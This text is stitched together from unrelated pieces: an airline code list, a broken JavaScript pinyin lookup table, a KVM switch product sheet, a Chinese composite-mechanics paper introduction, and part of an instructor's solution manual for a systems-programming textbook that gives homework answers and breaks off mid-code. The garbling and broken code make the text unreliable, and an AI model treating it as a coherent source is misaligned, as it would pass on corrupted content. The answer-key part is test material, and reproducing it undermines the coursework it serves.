中国云南航空公司3U: 中国四川航空公司44A: Air Kiribati4D: Air Sinai4G: 中国深圳航空公司4L: Air Astana4R: Hamburg International4U: Germanwings55C: Cargo Air Lines (Israel)5G: Skyservice Airlines (Can)5J: 宿雾航空(Philippines)5L: Aerosur (Bolivia)5P: Skyeurope Airlines Hungary5T: Canadian North (Canada)5W: Astraeus (UK)5X: United Parcel Service66P: Club Air (ITA)6U: Air Ukraine6W: Saratov77B: Krasnojarsky Airlines7F: First Air7K: Kogalymavia Air Company7L: Sun d"Or International Airlines88A: Atlas Blue8B: Caribbean Star Airlines8C: Air Transport International/Horizon8D: Expo Aviation/Servant Air/Astair8E: Bering Air8F: Fischer Air8G: Angel Airlines8H: Heli France8I: Myway Airlines (myair -Italy)8J: Komiinteravia8L: Cargo Plus Aviation/Redhill Aviation8M: Myanmar Airways International/Maxair 8N: Nordkalottflyg AB8O: West Coast Air8P: Pacific Coastal Airlines8Q: Onur Air Tasimacilik/Baker Aviation8R: Transporte Aereo Regional do Interior Paulista/Edelweiss Air 8S: Scorpio Aviation8T: Air Tindi8U: Afriqiyah Airways8V: Wright Air Service8W: BAX Global8Y: Air Burundi8Z: Linea Aerea de Servicio Ejecutivo Regional99D: Perm Airlines9E: Pinnacle Airlines9I: Thai Sky Airlines9R: 布吉航空9U: 摩尔多瓦航空9W: Jet AirwaysABCDEFF6: 中国航空股份F9: 先锋航空FB: Bulgaria AirFC: Finncomm Airlines (Finland) FD: Thai AirAsiaFG: Ariana Afghan AirlinesFI: IcelandairFJ: Air PacificFL: AirTran AirwaysFM: 中国上海航空公司FQ: Thomas Cook Airlines Belgium FR: Ryanair / Centre-South (Rus.) FV: Pulkovo Aviation (Russia) FW: Fairinc (Jap.)FX: 联邦快递GG0: Ghana International AirlinesG4: Allegiant Air (United States)G5: Enkor (Rus.)G8: 中国长城航空公司GA: Garuda IndonesiaGB: ABX Air (USA)GC: Gambia International Airlines GE: TransAsia AirwaysGF: Gulf AirGH: Ghana AirwaysGM: 斯洛伐克航空GN: Air GabonGQ: Big Sky Airlines (United States) GT: GB Airways (Spain)GW: Kubun AirlinesHH2: Sky Airline (Chile)H4: 中国海南航空公司H5: Magadan AirlinesH8: DalaviaHA: [[夏威夷航空]HG: NikiHM: Air SeychellesHP: 美西航空HV: Transavia HollandHY: 乌兹别克斯坦航空IIB: IberiaIC: Indian Airlines CorporationIG: Meridiana (Italy)IN: Macedonian AirlinesIR: Iran AirIV: 中国福建航空公司IW: AOM French AirlinesIY: 也门航空 (也门)IZ: Arkia Israeli AirlinesJJ2: Azal Azerbaijan AirlinesJ7: Centre-AviaJB: HeliJetJJ: AviogenexJK: SpanairJL: 日本航空JM: Air JamaicaJO: JALwaysJP: Adria AirwaysJQ: JetStarJS: Air KoryoJT: Lion AirJU: Jat AirwaysJW: Arrow Cargo (USA)KKA: 港龙航空KB: Druk Air (Bhutan)KE: 大韩航空 (韩国)KF: FORMer Air Botnia Blue1 (Finland) KL: 荷兰皇家航空 (KLM) (荷兰)KM: 马耳他航空KQ: 肯尼亚航空KU: 科威特航空KV: Kavminvodyavia (Russia)KW: Kelowna FlightcraftKX: Cayman Airways (Cayman Islands)KZ: 日本货物航空LL4: Lauda ItalyLA: Lan ChileLB: Lloyd Aereo Boliviano (Bolivia)LD: 香港华民航空LG: LuxairLH: 德国汉莎航空LJ: Sierra National Airlines (Liberia)LK: Air LuxorLL: Lineas Aeras Allegro (Mexico)LN: Libyan Arab AirlinesLO: Lot Polish AirlinesLP: LAN PeruLR: Lacsa/TACALS: Channel Express Air Services Ltd. (D.B.A. Jet2 ) LT: LTU International AirwaysLX: 瑞士航空公司 (FORMerly Crossair)LY: Elal-Israel AirlinesLZ: Balkan Bulgarian AirlinesMMA: MALÉV Hungarian AirlinesMB: MNG Cargo AirlinesMD: Air MadagascarME: Middle East AirlinesMF: 中国厦门航空公司MH: 马来西亚航空MI: SilkairMK: Air Mauritius LtdMM: Euroatlantic AirwaysMP: Martinair HollandMR: Air MauritaniaMS: Egypt AirMT: Thomas Cook Airlines UKMU: 中国东方航空公司MV: Armenian International Airways MX: Mexicana de Aviación (Mexico) MZ: Merpati Nusantara AirlinesNN3: OmskaviaNB: SterlingNE: Skyeurope AirlinesNG: Lauda AirNH: 全日本空输NI: PortugaliaNK: Spirit Airlines (United States) NL: Shaheen (Pakistan)NQ: Air JapanNV: 中日本航空株式会社 (JPN)NX: 澳门航空公司NW: 西北航空 (美国)NZ: 新西兰航空OOA: 奥林匹亚航空 (希腊)OB: Astrahan Airlines (Rus.)OH: Comair (USA)OK: 捷克航空(CSA) (捷克)OM: MIAT (Mongolian Airlines)OO: SkyWestOS: 奥地利航空OU: 克罗的亚航空OV: Estonian AirOW: Executive Airlines (USA)OX: Orient Thai AirlinesOZ: 韩亚航空 (韩国)PP2: UTair (Rus.)P7: EastLine (Rus.)PE: Air Europe SPAPG: Bangkok AirwaysPK: 巴基斯坦国际航空PO: Polar (USA)PR: 菲律宾航空PS: 乌克兰国际航空PX: Air NiuginiQQ3: PB Air (Thailand)Q5: 40-Mile Air (USA)QF: 澳洲航空QQ: Alliance Airlines, Reno Air (USA) defunct QR: Qatar AirwaysQS: Travel Service AirlinesQV: Lao AirlinesQX: Horizon Air (USA)QZ: Air Canada Jazz (Canada)RR2: Orenburg Airlines (Rus.)R4: Russia AirlineRA: Royal Nepal Airlines Corporation RB: Syrian Arab AirlinesRC: Atlantic AirwaysRE: Aer ArannRF: Florida West International Airways RG: Varig (Brazilian Airlines)RI: Mandala AirlinesRJ: Royal JordanianRQ: Kam Air (Afghanistan)RN: Air HorizonsRO: Tarom Romanian Air TransportSS2: Air Sahara (India)S4: SATA InternationalS7: Siberia AirlinesS9: East African Safari AirSA: 南非航空公司SC: 中国山东航空公司SD: Sudan AirwaysSG: JetsgoSH: FlyMeSJ: Freedom AirSK: 斯堪地那维亚航空SN: SN Brussels AirlinesSQ: 新加坡航空SR: (FORMerly) SwissairSU: Aeroflot Russian AirlinesSV: Saudi Arabian AirlinesSY: Sun Country AirlinesSZ: 中国西南航空公司TT4: Hellas JetT5: Turkmenistan/AkhalT7: Twin JetT9: TransMerridian Airlines (USA) TA: TACATE: Lithuanian AirlinesTG: 泰国航空 InternationalTL: Trans Mediterranean Airways (TMA) TK: Turkish AirlinesTN: Air Tahiti NuiTP: Tap Air PortugalTQ: Tandem AeroTR: Tiger AirwaysTS: Air TransatTT: Air LithuaniaTU: TunisairTX: Air CaraibesTZ: ATA AirlinesUU2: easyJet (UK)/UFS (USA)U5: USA 3000 AirlinesU6: Ural AirlinesU8: ArmaviaU9: Tatarstan JSC AircompanyUA: 联合航空 (美国)UB: Myanmar AirwaysUL: Air LankaUM: Air ZimbabweUN: Transaero Airlines (Russia)UO: 港联航空UQ: O"Connor Airlines (Aus)US: 全美航空UU: Air AustralUX: Air Europa Lineas AereasUY: Cameroon AirlinesVV7: Air SenegalV9: Bashkir AirlinesVA: Volare Airlines/VIASA (Venezolana Internacional de Avacion) VD: Air LiberteVF: ValuairVH: Aeropostal (Venezuela)VI: Volga-DneprVN: 越南航空VR: Cape Verde Airlines (TACV)VS: 维珍航空VV: AerosvitVZ: MyTravel Airways (UK)WW2: Canadian Western Airlines (Canada)W3: Flyhy Cargo Airlines (Thailand)W5: Mahan Air (Iran)W6: WizzairW8: Cargojet Airways Ltd. (Canada)W9: Sky Service Bvba (UK), Eastwind Airlines, Inc. (USA)WD: DAS Air CargoWF: WiderøeWH: 中国西北航空公司WK: American Falcon, S.A. (Argentina)WN: Southwest Airlines (USA)WO: World Airways, Inc (USA)WS: WestJet (Canada)WU: 中国武汉航空公司WV: Swe Fly (Sweden)WW: bmibaby Limited (UK)WX: CityJet (Ireland)WY: Oman AirXX0: 中国新疆航空公司X2: 中国新华航空公司X3: Hapag-Lloyd Express (Germany)X5: Afrique AirlinesX7: Chitaavia (Rus.)XF: Vladivostok AviaXJ: Mesaba AirlinesXK: CCM AirlinesXM: J-Air (Jap.)XO: LTE International AirwaysXS: SITA (Fra.)XT: KLM ExelYYK: Air Kibris (Turkish Airlines)YL: Yamal Airlines (Rus.)YM: Montenegro Airlines (SCG)YS: Régional Compagnie Aerienne Européenne YT: Air TogoYV: Mesa Airlines (USA)YW: Air NostrumYX: 中西航空 (美国)ZZ2: 中国中原航空公司Z4: Zoom Airlines (Canada)ZA: Astair (Russia)ZE: Líneas Aéreas Azteca (Mexi co)ZI: Aigle Azur (France)ZL: Regional ExpressZN: Air BourbonZS: Azzurra AirZU: 塞浦路斯赫利俄斯航空公司(Helios Airways) ZW: 美国威斯康星航空公司(Air Wisconsin)。
Js中⽂转化成英⽂转载。
但是有些复杂中⽂并不能转化转载。
但是有些复杂中⽂并不能转化<script type="text/javascript">var PinYin = { "a": "\u554a\u963f\u9515", "ai":"\u57c3\u6328\u54ce\u5509\u54c0\u7691\u764c\u853c\u77ee\u827e\u788d\u7231\u9698\u8bf6\u6371\u55f3\u55cc\u5ad2\u7477\u66a7\u7839\u953f\u972d", "an":"\u978d\u6c28\u5b89\u4ffa\u6309\u6697\u5cb8\u80fa\u6848\u8c19\u57ef\u63de\u72b4\u5eb5\u6849\u94f5\u9e4c\u9878\u9eef", "ang": "\u80ae\u6602\u76ce", "ao":"\u51f9\u6556\u71ac\u7ff1\u8884\u50b2\u5965\u61ca\u6fb3\u5773\u62d7\u55f7\u5662\u5c99\u5ed2\u9068\u5aaa\u9a9c\u8071\u87af\u93ca\u9ccc\u93d6", "ba":"\u82ad\u634c\u6252\u53ed\u5427\u7b06\u516b\u75a4\u5df4\u62d4\u8dcb\u9776\u628a\u8019\u575d\u9738\u7f62\u7238\u8307\u83dd\u8406\u636d\u5c9c\u705e\u6777\u94af\u7c91\u9c85\u9b43", "bai": "\u767d\u67cf\u767e\u6446\u4f70\u8d25\u62dc\u7a17\u859c\u63b0\u97b4", "ban":"\u6591\u73ed\u642c\u6273\u822c\u9881\u677f\u7248\u626e\u62cc\u4f34\u74e3\u534a\u529e\u7eca\u962a\u5742\u8c73\u94a3\u7622\u764d\u8228", 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"mei":"\u73ab\u679a\u6885\u9176\u9709\u7164\u6ca1\u7709\u5a92\u9541\u6bcf\u7f8e\u6627\u5bd0\u59b9\u5a9a\u5776\u8393\u5d4b\u7338\u6d7c\u6e44\u6963\u9545\u9e5b\u8882\u9b45", "men": "\u95e8\u95f7\u4eec\u626a\u739f\u7116\u61d1\u9494", "mi":"\u772f\u919a\u9761\u7cdc\u8ff7\u8c1c\u5f25\u7c73\u79d8\u89c5\u6ccc\u871c\u5bc6\u5e42\u8288\u5196\u8c27\u863c\u5627\u7315\u736f\u6c68\u5b93\u5f2d\u8112\u6549\u7cf8\u7e3b\u9e8b", "mian": "\u68c9\u7720\u7ef5\u5195\u514d\u52c9\u5a29\u7f05\u9762\u6c94\u6e4e\u817c\u7704", "mie": "\u8511\u706d\u54a9\u881b\u7bfe", "min":"\u6c11\u62bf\u76bf\u654f\u60af\u95fd\u82e0\u5cb7\u95f5\u6cef\u73c9", "ming": "\u660e\u879f\u9e23\u94ed\u540d\u547d\u51a5\u8317\u6e9f\u669d\u7791\u9169", "miu":"\u8c2c", "mo":"\u6478\u6479\u8611\u6a21\u819c\u78e8\u6469\u9b54\u62b9\u672b\u83ab\u58a8\u9ed8\u6cab\u6f20\u5bde\u964c\u8c1f\u8309\u84e6\u998d\u5aeb\u9546\u79e3\u763c\u8031\u87c6\u8c8a\u8c98" "mou": "\u8c0b\u725f\u67d0\u53b6\u54de\u5a7a\u7738\u936a", "mu":"\u62c7\u7261\u4ea9\u59c6\u6bcd\u5893\u66ae\u5e55\u52df\u6155\u6728\u76ee\u7766\u7267\u7a46\u4eeb\u82dc\u5452\u6c90\u6bea\u94bc", "na":"\u62ff\u54ea\u5450\u94a0\u90a3\u5a1c\u7eb3\u5185\u637a\u80ad\u954e\u8872\u7bac", "nai": "\u6c16\u4e43\u5976\u8010\u5948\u9f10\u827f\u8418\u67f0", "nan":"\u5357\u7537\u96be\u56ca\u5583\u56e1\u6960\u8169\u877b\u8d67", "nao": "\u6320\u8111\u607c\u95f9\u5b6c\u57b4\u7331\u7459\u7847\u94d9\u86f2", "ne":"\u6dd6\u5462\u8bb7", "nei": "\u9981", "nen": "\u5ae9\u80fd\u6798\u6041", "ni":"\u59ae\u9713\u502a\u6ce5\u5c3c\u62df\u4f60\u533f\u817b\u9006\u6eba\u4f32\u576d\u730a\u6029\u6ee0\u6635\u65ce\u7962\u615d\u7768\u94cc\u9cb5", "nian":"\u852b\u62c8\u5e74\u78be\u64b5\u637b\u5ff5\u5eff\u8f87\u9ecf\u9c87\u9cb6", "niang": "\u5a18\u917f", "niao": "\u9e1f\u5c3f\u8311\u5b32\u8132\u8885", "nie":"\u634f\u8042\u5b7d\u556e\u954a\u954d\u6d85\u4e5c\u9667\u8616\u55eb\u8080\u989e\u81ec\u8e51", "nin": "\u60a8\u67e0", "ning":"\u72de\u51dd\u5b81\u62e7\u6cde\u4f5e\u84e5\u549b\u752f\u804d", "niu": "\u725b\u626d\u94ae\u7ebd\u72c3\u5ff8\u599e\u86b4", "nong": "\u8113\u6d53\u519c\u4fac","nu": "\u5974\u52aa\u6012\u5476\u5e11\u5f29\u80ec\u5b65\u9a7d", "nv": "\u5973\u6067\u9495\u8844", "nuan": "\u6696", "nuenue": "\u8650", "nue": "\u759f\u8c11", "nuo":"\u632a\u61e6\u7cef\u8bfa\u50a9\u6426\u558f\u9518", "ou": "\u54e6\u6b27\u9e25\u6bb4\u85d5\u5455\u5076\u6ca4\u6004\u74ef\u8026", "pa":"\u556a\u8db4\u722c\u5e15\u6015\u7436\u8469\u7b62", "pai": "\u62cd\u6392\u724c\u5f98\u6e43\u6d3e\u4ff3\u848e", "pan":"\u6500\u6f58\u76d8\u78d0\u76fc\u7554\u5224\u53db\u723f\u6cee\u88a2\u897b\u87e0\u8e52", "pang": "\u4e53\u5e9e\u65c1\u802a\u80d6\u6ec2\u9004", "pao":"\u629b\u5486\u5228\u70ae\u888d\u8dd1\u6ce1\u530f\u72cd\u5e96\u812c\u75b1", "pei":"\u5478\u80da\u57f9\u88f4\u8d54\u966a\u914d\u4f69\u6c9b\u638a\u8f94\u5e14\u6de0\u65c6\u952b\u9185\u9708", "pen": "\u55b7\u76c6\u6e53", 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q8-port IP-based KVM switch - monitor and control up to 8 computers from both local and remote KVM consoles q Hot pluggable - add or remove computers without having to power down the switch qMultiplatform support - Windows®, Linux® and Mac - Front panel USB port allows connected computers to access USB peripherals such as USB flash drives or hard drives* qDual Interface - the automatic interface detection supports computers with either PS/2 or USB connectionsq Complete keyboard and mouse emulation for error free booting q Supports USB keyboards for Windows® and MacqSuperior video quality - up to 2048x1536 DDC2B for the local console; up to 1600x1200 @ 60Hz / 24-bit color depth for remote access qVideo DynaSync™ - stores the local monitor's EDID (Extended Display Identification Data) to optimize display resolution q 19” Rack mountable; a mounting kit is included q q Easy-to-Use Interface q Browser-based or AP GUIs, including a menu-driven OSD for the remote console q Windows client and Java client software support q Menu-driven OSD for the local console qMultiplatform client support (Windows® , Mac OS X, Linux®)q Multi-browser support (IE, Mozilla, Firefox, Safari, Opera, Chrome**)q Panel array mode enables user to monitor multiple servers from a single screen qq Advanced Securityq Secure keyboard/mouse/video transmission via RC4 128-bit encryptionq Supports SSL 128-bit data encryption and RSA 1024-bit certificates for secure user logins from a browserq Two level password security (administrator and users) - up to 64 user accounts with separate profiles for eachq Third party authentication supported: RADIUS, LDAP, LDAPS, MS Active Directory q Supports IP and MAC filtersq Log in authentication required for both local and remote access qq Virtual Remote Desktopq Resizable remote desktop windowq Message board allows logged in users to communicate with each other and allows a user to take exclusive control of the KVM functions q Mouse DynaSync™q On-screen keyboard with multi-language support*Only systems connected with the USB KVM cables will be able to access the front USB port for system upgrades and shared peripherals**Chrome browserwill not work when trying to connect to GCS1808ifrom aWindows OS8-Port IP Based KVMThe IOGEAR GCS1808i is an IP-based KVM switch that allows both local and remote operators to monitor and access multiple computers. Remote users access the switches over the Internet through a web browser using TCP/IP protocol. GCS1808i supports up to 64 user accounts and allows 32 concurrent user logins for a single-bus computer access. The Message Board, a built-in feature that resembles an Internet chat program, lets users communicate with each other. The ability to exchange information in real time allows users to manage the KVM switch and connected computers in a smooth and efficient manner.The GCS1808i features many security tools such as the 128-bit SSL encryption for browser access and RC4 128-bit encryption for secure data transmission. GCS1808i also supports third party authentication such as RADIUS, LDAP, LDAPS, and MS Active Directory. In addition, IP and Mac filters provide added security against unauthorized access. The Log Server, a Windows-based administrative utility, records all the events that take place on the GCS1808i and writes them to a searchable database.Once logged in to GCS1808i, users can manage the computers via the virtual remote desktop window. Mouse DynaSync™ optimizes the remote and local cursors synchronization. Additional USB KVM Cables (TAA Compliant)This kit includes an additional 7 USB KVM cables (3 x 6ft, 4 x 10ft). Our custom-made cables are designed to provide the highest signal capacity with the lowest signal loss. This important technology produces the highest quality video output - even after long distance transmission or in the most electronically noisy environments such as server cabinets. IOGEAR's premium custom-made KVM cables guarantee optimum signal integrity for high-grade server needs. The keyboard and mouse cables are made of double-sealed 22-gauge wire and are neatly wrapped with a heavy-duty video cable for simplified connections.8-Port IP Based KVM Kit with USB KVM Cables (TAA)GCS1808iKITUTAAProduct Requirementsq For best results during remote access:q Computers used to access the 8-Port IP Based KVM should have at least a P III 1 GHz processor and screen resolution should be set to 1024x768q Internet connection speed of at least 128kbpsq Browsers must support 128-bit data encryptionq To run the Windows® client, DirectX 8.0 or higher is requiredq To run the Java client, Sun’s Java Runtime Environment (JRE) 6, Update 3, or higher is requiredq To run the Log Server, Microsoft Jet OLEDB 4.0 (or higher) driver is requiredqq Local Console:q 1 VGA monitorq 1 USB or PS/2 Mouseq 1 USB or PS/2 Keyboardqq Local Computers:q Video graphics card with an HDB-15 VGA portq Type A USB port and USB host controllerq orq6-pin mini-DIN keyboard and mouse portqq Operating Systemq Windows Vista® (32-bit / 64-bit ), Windows® 7 (32-bit / 64-bit ), Windows® 8.x (32-bit / 64-bit )q Apple Mac OS X 9.0 to 10.xq Linux®Package Contentsq 1 x GCS1808i 8-Port IP Based KVMq 1 x 6ft KVM PS/2 Cableq 4 x 6ft KVM USB Cableq 4 x 10ft KVM USB Cableq 1 x Console Cableq 1 x Firmware Upgrade Cableq 1 x Foot Pad Set (4 pcs)q 1 x Power Adapterq 1 x Mounting Kitq 1 x Quick Start Guideq 1 x Software CDq1 x Warranty CardSpecificationsFunction GCS1808iKITUTAA Dimensions GCS1808iKITUTAAUnit DimensionsHeight 1.75" (4.45cm)Depth 6.25" (15.88cm)Length17.00" (43.18cm)Unit Package DimensionsHeight9.25" (23.50cm)Depth 4.5" (11.43cm)Length21.5" (54.61cm)Master CartonWidth22.3" (56.64cm)Height15.1" (38.35cm)Depth10.5" (26.67cm)Master Carton Qty.3WeightMaster Carton Wt.27.7lbs (12.58kg)Unit Pack Wt.8.6lbs (3.9kg)Unit Wt. 5.7lbs (2.58kg)GCS1808iKITUTAA© 2015 IOGEAR®IOGEAR, the IOGEAR logo, are trademarks or registered trademarks of IOGEAR. Microsoft and Windows are registered trademarks of Microsoft Corporation. All other brand and product names are trademarks or registered trademarks of their respective holders. IOGEAR makes no warranty of any kind with regards to the information presented in this document. All information furnished here is for informational purposes only and is subject to change without notice. IOGEAR assumes no responsibility for any inaccuracies or errors that may appear in this document.。
纤维增强复合材料宏、细观统一的细观力学模型雷友锋,林宏镇,高德平(空军第八研究所)(南京航空航天大学)摘要:研究了复合材料宏、细观特征之间的联系,将宏观复台材料体中的一点赋予了细观结构特征。
基于细观结构周期性假设.建立了一种数值型细观力学模型,模型中用高阶多项式函数模拟基体和增强相中细观位移场,通过对细观单元力学方程的分析与求解,建立了复合材料宏、细观力学变量之间的联系。
该细观力学模型,不仅能用于复合材料宏观有效性能的预测及细观应力、应变场的分析,而且能够很容易地融入常规有限元法中,实现对复合材料结构的宏、细观一体化分析.以该细观力学模型为基础的计算结果与部分文献中的试验结果及理论计算值具有较好的一致性。
关键词:复合材料,细观力学,有效性能,代表性体积元,细观单元1引言复合材料既表现出宏观特征,又具有明显的细观结构特征,复合材料力学是一种两层次的力学理论”J。
在宏观尺度上,可以将复合材料当作各向异性的宏观均匀连续体,用连续介质力学理论研究复合材料的力学行为【:】,但是无法研究对宏观行为有重要影响的细观尺度上各组份相的变形及损伤失效行为。
在细观尺度上.复合材料具有包含多种组份相的非均质结构,复合材料细观力学在宏观有效性能预测以及细观应力、应变场分析方面取得了一定的进展。
1。
但是,如果能够将复合材料宏观结构分析与细观结构分析结合起来.在进行宏观结构分析时能够获得细观尺度上的力学参量值.那么将是一种更好的分析方法,1997年ASME/ASCE/SES的复合材料力学专题会特别强调了发展复合材料宏、细观一体化分析技术的迫切性14J,近期一些学者在这方面开展了一定的研究工作.提出了一些模型与方法…”1。
本文在分析复合材料宏、细观特征之间联系的基础上,建立联系复合材料宏、细观特征的一种数值型细观力学模型,该模型不仅能够预测复合材料的宏观有效性能以及细观应力、应变场,还能够很容易地融入常规有限元方法中.从而实现对复合材料结构的宏、细观~体化分析。
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating 